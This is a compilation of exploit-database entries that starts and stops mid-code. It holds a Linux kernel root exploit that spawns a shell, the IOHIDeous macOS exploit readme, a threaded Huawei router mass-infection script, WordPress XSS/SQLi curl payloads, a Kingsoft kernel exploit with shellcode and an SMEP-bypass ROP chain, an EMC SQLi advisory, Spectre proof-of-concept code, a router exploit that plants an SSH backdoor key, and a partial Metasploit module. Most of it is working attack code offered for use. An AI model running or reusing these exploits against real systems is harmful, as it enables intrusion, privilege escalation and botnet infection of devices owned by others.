int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
printf("[.] starting\n");
printf("[.] checking distro and kernel versions\n");
detect_versions();
printf("[~] done, versions looks good\n");
printf("[.] checking SMEP and SMAP\n");
check_smep_smap();
printf("[~] done, looks good\n");
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[~] done, fake stack mmapped\n");
#endif
printf("[.] executing payload %lx\n", payload);
oob_execute(payload);
printf("[~] done, should be root now\n");
check_root();
return 0;
}
Sources:
https://siguza.github.io/IOHIDeous/
https://github.com/Siguza/IOHIDeous/
IOHIDeous
A macOS kernel exploit based on an IOHIDFamily 0day.
Write-up here: https://siguza.github.io/IOHIDeous/
Notice
The prefetch timing attack I'm using for hid for some reason doesn't work on High Sierra 10.13.2 anymore, and I don't feel like investigating that. Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary - reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.
Usage
The exploit consists of three parts:
poc panics the kernel to demonstrate the present of a memory corruption, should work on all macOS versions.
leak leaks the kernel slide, could be adapted to other versions but as-is works only on High Sierra.
hid achieves full kernel r/w, tested only on Sierra and High Sierra (up to & including 10.13.1), might work on earlier versions too.
poc and leak need to be run as the user that is currently logged in via the GUI, and they log you out in order to perform the exploit. hid on the other hand, gives you four options for a first argument:
steal requires to be run as root and SIP to be disabled, but leaves you logged in the entire time.
kill requires root and forces a dirty logout by killing WindowServer.
logout if executed as root or the currently logged in user, logs you out via launchctl. Otherwise tries to log you out via AppleScript, and then falls back to wait.
wait simply waits for a logout, shutdown or reboot to occur.
Additionally you can specify a second argument persist. If given, hid will permanently disable SIP and AMFI, and install a root shell in /System/pwned.
leak and hid should be run either via SSH or from a screen session, if you wish to observe their output.
Building
Should all be self-explanatory:
make all
make poc
make leak
make hid
make clean
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43415.zip
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass
for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass
Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
Date: 26-Nov-17
Exploit Author: Benjamin Lim
Vendor Homepage: http://oturia.com/
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
Version: 3.4
Tested on: Kali Linux 2.0
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
CVE : CVE-2018-3811 (SQL Injection)
1. Product & Service Introduction:
==================================
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add
Google Analytics tracking code as well as meta tag verification of
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and
has 9,000+ active installs.
2. Technical Details & Description:
===================================
Authentication Bypass vulnerability in the Smart Google Code Inserter
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript
or HTML code which runs on all pages served by Wordpress. The
saveGoogleCode() function in smartgooglecode.php does not check if the
current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the inserted code.
SQL Injection vulnerability, when coupled with the Authentication Bypass
vulnerability in the Smart Google Code Inserter plugin 3.4 allows
unauthenticated attackers to execute SQL queries in the context of the
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not
use prepared statements and did not sanitize the $_POST["oId"] variable
before passing it as input into the SQL query.
3. Proof of Concept (PoC):
==========================
Code Insertion
curl -k -i --raw -X POST -d
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"
SQL Injection
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"
4. Mitigation
=============
Update to version 3.5
5. Disclosure Timeline
======================
2017/11/29 Vendor contacted
2017/11/30 Vendor acknowleged and released an update
2018/01/01 Advisory released to the public
6. Credits & Authors:
=====================
Benjamin Lim - [https://limbenjamin.com]
"""
Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability
Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar
Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Vulnerability Analysis:
=======================
I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004)
; jumptable 000117C1 case 0
.text:000117C8 loc_117C8: ; CODE XREF: sub_11790+31
.text:000117C8
.text:000117C8 push ebx ; our input buffer size
.text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40
.text:000117CD push edi ; our input buffer
.text:000117CE push ecx ; char *
.text:000117CF call strncpy ; stack buffer overflow
.text:000117D4 add esp, 0Ch
.text:000117D7 lea edx, [esp+54h+var_40]
.text:000117DB push edx ; char *
.text:000117DC mov [esp+ebx+58h+var_40], 0
.text:000117E1 call sub_167B0
.text:000117E6 pop edi
.text:000117E7 mov esi, eax
.text:000117E9 pop esi
.text:000117EA pop ebp
.text:000117EB pop ebx
.text:000117EC add esp, 44h
.text:000117EF retn 8
Additional bugs:
~~~~~~~~~~~~~~~~
Out-of-Bounds Read vulnerabilities exist in the following ioctls as well:
- 0x8003001c
- 0x80030020
- 0x80030024
- 0x80030028
There is more, but I gave up. This happens because there are several functions that contain code like this:
.text:000172A0 loc_172A0: ; CODE XREF: sub_17280+29
.text:000172A0 mov cx, [eax] ; @eax is our input buffer
.text:000172A3 add eax, 2
.text:000172A6 test cx, cx
.text:000172A9 jnz short loc_172A0 ; jump if there is no null word
So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer)
Example:
========
c:\Users\Guest\Desktop>whoami
victim\guest
c:\Users\Guest\Desktop>poc.py
--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]
Steven Seeley (mr_me) of Source Incite
(+) enumerating kernel base address...
(+) found nt base at 0x8147e000
(+) allocating shellcode @ 0x24242424
(+) sending stack overflow...
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
c:\Users\Guest\Desktop>whoami
nt authority\system
c:\Users\Guest\Desktop>
References:
===========
- https://sizzop.github.io/2016/09/13/kernel-hacking-with-hevd-part-5.html
"""
import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice
kernel32 = windll.kernel32
ntdll = windll.ntdll
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
def get_ioctl():
return choice([0x80030004, 0x80030008])
def alloc_shellcode(base, input_size):
"""
allocates some shellcode
"""
print "(+) allocating shellcode @ 0x%x" % base
baseadd = c_int(base)
size = c_int(input_size)
# --[ setup]
input = struct.pack("<I", 0x000506f8) # bypass smep
# --[ setup]
input += "\x60" # pushad
input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
# I have to do it like this because windows is a little special
# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
input += "\x8d\x40\x70" # lea eax, [eax+0x70];
input += "\x8b\x40\x10" # mov eax, [eax+0x10];
input += "\x89\xc1" # mov ecx, eax (Current _EPROCESS structure)
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input += "\x8B\x98\xfc\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
# --[ copy system PID token]
input += "\xba\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
input += "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|
input += "\x2d\xb8\x00\x00\x00" # sub eax, FLINK_OFFSET |
input += "\x39\x90\xb4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |
input += "\x75\xed" # jnz ->|
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input += "\x8b\x90\xfc\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
input += "\x89\x91\xfc\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input += "\x61" # popad
input += "\x83\xc4\x0c" # adjust the stack by 0xc
input += "\x31\xc0" # return NTSTATUS = STATUS_SUCCESS
input += "\xc3" # ret
# filler
input += "\x43" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) Error while writing our input buffer memory: %s" % write
return False
return True
def alloc(base, input_size, ip):
baseadd = c_int(base)
size = c_int(input_size)
input = "\x44" * 0x40 # offset to ip
# start rop chain
input += struct.pack("<I", nt + 0x51976f) # pop ecx; ret
input += struct.pack("<I", 0x75757575) # junk
input += struct.pack("<I", 0x76767676) # junk
input += struct.pack("<I", ip) # load a ptr to 0x506f8
input += struct.pack("<I", nt + 0x04664f) # mov eax, [ecx]; ret
input += struct.pack("<I", nt + 0x22f2da) # mov cr4,eax; ret
input += struct.pack("<I", ip + 0x4) # &shellcode
# filler
input += "\x43" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
sys.exit()
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) error while writing our input buffer memory: %s" % write
sys.exit()
def we_can_trigger_overflow():
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN = get_ioctl()
DEVICE_NAME = "\\\\.\\KWatch3"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
ip = 0x24242424
inputbuffer = 0x41414141
inputbuffer_size = 0x60
outputbuffer_size = 0x1000
outputbuffer = 0x20000000
alloc(inputbuffer, inputbuffer_size, ip)
alloc_shellcode(ip, 0x100)
alloc(outputbuffer, 0x100, ip)
IoStatusBlock = c_ulong()
if driver_handle:
print "(+) sending stack overflow..."
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
return True
return False
def we_can_leak_the_base():
"""
Get kernel base address.
This function uses psapi!EnumDeviceDrivers which is only callable
from a non-restricted caller (medium integrity or higher). Also the
assumption is made that the kernel is the first array element returned.
"""
global nt
print "(+) enumerating kernel base address..."
c_ulong_array = c_ulong * 1024
lpImageBase = c_ulong_array()
szDriver = c_ulong_array()
cb = sizeof(lpImageBase)
lpcbNeeded = c_long()
res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
sizeof(lpImageBase),
byref(lpcbNeeded))
if not res:
print "(-) unable to get kernel base: " + FormatError()
sys.exit(-1)
# nt is the first one
nt = lpImageBase[0]
# find KWatch3, for if it doesnt exist, we can't exploit it now...
for driver in lpImageBase:
lpBaseName = create_string_buffer("", MAX_PATH)
GetDeviceDriverBaseName = windll.psapi.GetDeviceDriverBaseNameA
GetDeviceDriverBaseName.argtypes = [LPVOID, LPSTR, DWORD]
if(GetDeviceDriverBaseName(driver, lpBaseName, MAX_PATH)):
if lpBaseName.value == "KWatch3.sys":
return True
return False
def main():
print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
print "\t Steven Seeley (mr_me) of Source Incite\r\n"
if release() != "10" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print " it was only designed for Windows 10 x86."
sys.exit(-1)
if we_can_leak_the_base():
print "(+) found nt base at 0x%08x" % (nt)
if we_can_trigger_overflow():
os.system("cmd.exe")
else:
print "(-) it appears that kingsoft Internet Security is not vulnerable!"
sys.exit(-1)
else:
print "(-) it appears that kingsoft Internet Security is not installed!"
sys.exit(-1)
if __name__ == '__main__':
main()
Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018
CVE: CVE-2017-14960
Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.
SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database
Vulnerable parameter: "$model.jobHistoryId"
Exploit:
True Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=2
Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized
References:
============
https://www.owasp.org/index.php/SQL_Injection
Contact:
========
pawellgocyla[at]gmail[dot]com
/*
EDB Note:
- https://spectreattack.com/
- https://spectreattack.com/spectre.pdf
- https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
#!/usr/bin/python
import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:
return(None)
return(key)
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":[key,namespace,argument,params],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get('result')[1]
except IndexError:
if response.get('result')[0] == 0:
return(True)
return(None)
return(result)
if __name__ == "__main__":
host = "192.168.1.1"
payload = """
#!/bin/sh
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys
/usr/sbin/odhcpd-update
exit 0
"""
print("Authenticating...")
key = ubusAuth(host, "user", "password")
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Adding Samba share...")
smbcheck = json.dumps(ubusCall(host, key, "uci", "get",
{"config":"samba"}))
if ("pwned" in smbcheck):
print("Samba share seems to already exist, skipping")
else:
smba = ubusCall(host, key, "uci", "add",
{"config":"samba", "type":"sambashare", "values":
{"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",
"path":"/mnt/", "guest_ok":"yes"}})
if (not smba):
print("Adding Samba share failed!")
sys.exit(1)
print("Enabling Samba...")
smbe = ubusCall(host, key, "uci", "set",
{"config":"samba", "type":"samba", "values":
{"interface":"lan"}})
if (not smbe):
print("Enabling Samba failed!")
sys.exit(1)
print("Committing changes...")
smbc = ubusCall(host, key, "uci", "commit",
{"config":"samba"})
if (not smbc):
print("Committing changes failed!")
sys.exit(1)
print("Setting malicious leasetrigger...")
lts = ubusCall(host, key, "uci", "set",
{"config":"dhcp", "type":"odhcpd", "values":
{"leasetrigger":"/mnt/pwn.sh"}})
if (not lts):
print("Setting leasetrigger failed!")
sys.exit(1)
print("Committing changes...")
ltc = ubusCall(host, key, "uci", "commit",
{"config":"dhcp"})
if (not ltc):
print("Committing changes failed!")
sys.exit(1)
print("Rebooting system...")
reb = ubusCall(host, key, "juci.system", "reboot")
if (not reb):
print("Rebooting failed, try rebooting manually!")
sys.exit(1)
print("Waiting on reboot...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
isUp = None
while (not isUp):
try:
sleep(10)
s.connect((host, 8080))
isUp = True
s.close()
except:
pass
print("Creating temp file for payload...")
with open(".payload.tmp","a+") as file:
file.write(payload)
path = os.path.realpath(file.name)
print("Dropping payload...")
subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),
shell=True, check=True)
print("Payload dropped")
print("Authenticating...")
key = ubusAuth(host, "user", "password")
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Executing payload")
eec = ubusCall(host, key, "juci.service", "stop",
{"name":"odhcpd"})
if (not eec):
print("Stopping odhcpd failed!")
sys.exit(1)
ees = ubusCall(host, key, "juci.service", "start",
{"name":"odhcpd"})
if (not ees):
print("Starting odhcpd failed!")
sys.exit(1)
print("Cleaning up...")
os.remove(path)
print("Exploitation complete")
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
'Description' => %q{
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
of the web management portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-17411'],
['ZDI', '17-973'],
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
],
'DisclosureDate' => 'Dec 13 2017',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
